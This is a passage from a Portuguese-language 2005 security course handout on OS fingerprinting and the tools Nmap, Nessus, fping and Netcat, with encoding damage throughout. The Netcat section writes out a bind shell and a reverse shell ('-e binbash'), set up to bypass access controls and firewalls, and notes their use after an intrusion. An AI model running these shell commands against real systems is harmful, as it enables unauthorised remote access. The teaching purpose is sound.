RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) 